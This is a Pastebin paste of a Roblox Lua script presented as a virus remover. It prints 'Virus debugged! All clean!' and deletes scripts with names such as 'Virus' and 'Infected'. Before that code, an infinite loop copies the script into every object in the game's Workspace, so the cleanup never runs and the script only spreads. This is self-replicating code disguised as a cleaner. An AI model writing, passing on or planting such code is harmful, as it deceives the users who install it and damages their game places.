Advertisement
hoainamqn

cam kiem

Mar 25th, 2019
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. function spread() -- created by dom1100
  2. local stuff = game.Workspace:GetChildren()
  3. for i = 1, #stuff do
  4. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  5. local clone = script:clone()
  6. clone.Parent = stuff[i]
  7. end
  8. end
  9. end
  10.  
  11. while true do
  12. wait(.1)
  13. spread()
  14. end
  15.  
  16. function GetAllItems(mdl)
  17. local objs = {}
  18. function Search(obj)
  19. if obj~=workspace then
  20. table.insert(objs,obj)
  21. end
  22. if #obj:GetChildren() > 0 then
  23. for i, v in ipairs(obj:GetChildren()) do
  24. Search(v)
  25. end
  26. end
  27. end
  28. Search(mdl)
  29. return objs
  30. end
  31.  
  32.  
  33.  
  34. for i, v in ipairs(GetAllItems(workspace)) do
  35. if v.className == "Script" then
  36. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" or v.Name == "ProperGr�mmerNeededInPhilosiphalLocations;insertNoobHere" then
  37. v.Parent = game.Lighting --Just in case it has a removal prevention.
  38. t = Instance.new("ObjectValue")
  39. t.Name = "IsAVirus"
  40. t.Parent = v
  41. end
  42. end
  43. end
  44.  
  45. for i, v in ipairs(game.Lighting:GetChildren()) do
  46. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  47. v:remove()
  48. end
  49. end
  50.  
  51.  
  52. print("Virus debugged! All clean!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement